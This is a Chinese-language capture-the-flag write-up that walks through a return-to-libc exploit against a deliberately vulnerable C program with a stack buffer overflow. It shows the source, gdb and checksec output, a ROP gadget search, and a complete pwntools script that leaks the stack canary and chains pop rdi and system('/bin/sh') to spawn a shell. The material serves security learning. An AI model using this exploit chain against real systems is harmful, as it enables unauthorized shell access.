0x00 源代码
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
0x01 代码情况
通过checksec来查看代码情况
$ gcc -o rtl rtl.c -fno-PIE -no-pie
$ checksec rtl
[*] '/home/hhro/dreamhack/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这里我们启用了Canary,NX,并且在最新版本的linux下如果没有特殊说明,则ASLR也处于启用的状态。
0x02 弱点分析
1. “/bin/sh”
首先可以看见第五行的代码,这是为了将/bin/sh添加入代码段而编写的代码。需要注意的是就算ASLR启用,PIE没有启用的情况下 代码段和数据段的地址是固定的。
const char* binsh = "/bin/sh";
2. system在PLT
在buf经过初始化之后,我们可以看到一段代码
system("echo 'system@plt'");
这是为了将system函数加入PLT表中,由于PIE没有启用,所以知道库函数的基地址就可以直接调用
3. Buffer Overflow
我们知道,buf的大小为0x30,但是read()可以读入0x100个字符,所以这里可以进行溢出,并且整个程序我们一共可以溢出两次。我们利用第一次溢出来获取canary,第二次来进行Return to Library攻击。
0x03 设计Exploit
1. 绕开Canary
根据上面所分析的内容,我们第一步需要获取Canary的值,用于第二次的攻击。
2. 利用system(“/bin/sh”)获得shell
刚刚我们知道函数的地址都是固定的,所以用gdb就可以得到"/bin/sh"的地址,而plt表中已经保存了system函数的地址,所以很轻松就可以解决这一步。
3. 为什么不使用shellcode
因为这个程序开启了NX,函数的返回地址是随机的。所以就算在buf写入shellcode我们也没办法得到buf的地址,现在我们需要利用Return gadget打断原有函数的流程。
0x04 编写Exploit
1. 获得Canary
对程序进行分析,这里我使用gdb分析发现。buf位于rbp-0x40,canary的值保存在rbp-0x8的位置。所以我们需要向buf里输入0x39个字符。
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
=> 0x00000000004006fb <+4>: sub rsp,0x40 //buf在这里
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax //这里是canary
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b] # 0x601070 <stdin@@GLIBC_2.2.5>
Exploit 第一部分
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
# Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
2. 寻找可以利用的gadget
我们利用ROPgadget工具寻找可以利用的ret代码片段。
$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
Unique gadgets found: 1
3. 打印出"/bin/sh",system函数的地址
利用gdb可以知道/bin/sh被保存在0x400874地址上。
pwndbg> search /bin/sh
rtl 0x400874 0x68732f6e69622f /* '/bin/sh' */
rtl 0x600874 0x68732f6e69622f /* '/bin/sh' */
libc-2.31.so 0x7ffff7f775bd 0x68732f6e69622f /* '/bin/sh' */
刚刚提到system函数已经在plt表中了,所以我们继续打印plt表,看到0x4005d0位置上是system函数。
pwndbg> plt
0x4005b0: puts@plt
0x4005c0: __stack_chk_fail@plt
0x4005d0: system@plt
0x4005e0: printf@plt
0x4005f0: read@plt
0x400600: setvbuf@plt
需要特别注意的点
rip向system函数中移动时,堆栈必须以0x10的单位进行移动的,这是由于system函数中的movaps命令导致的,它会让堆栈按照0x10的单位排列,若没有则会出现错误。如果写的exploit没有任何问题却发生了Segmentation Fault问题的话,可以在前面写入一个没有任何作用的gadget就可以解决这个问题。16进制下 8(任意gadget) + 8(rdi) = 0x10
0x05 完整的Exploit
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
# Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# Return to Library
ret = 0x0000000000400285 # 没用的gadget,一般用ret
rdi = 0x0000000000400853 # pop rdi
system = 0x4005d0 # system的地址
binsh = 0x400874 # /bin/sh的地址
payload = b'A'*0x38
payload += p64(cnry)
payload += b'B'*0x8 #sfp
payload += p64(ret)
payload += p64(rdi)
payload += p64(binsh)
payload += p64(system)
p.sendafter("Buf: ", payload)
p.interactive()
0x6 结果
$ python ex_rtl.py
[+] Starting local process './rtl': pid 5673
[*] '/home/workspace/dreamhack/ASLR_NX/rtl/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[+] canary: 0x2e4534f18484b400
[*] Switching to interactive mode
如果有错误或者不到位的地方,请直接评论或者私信我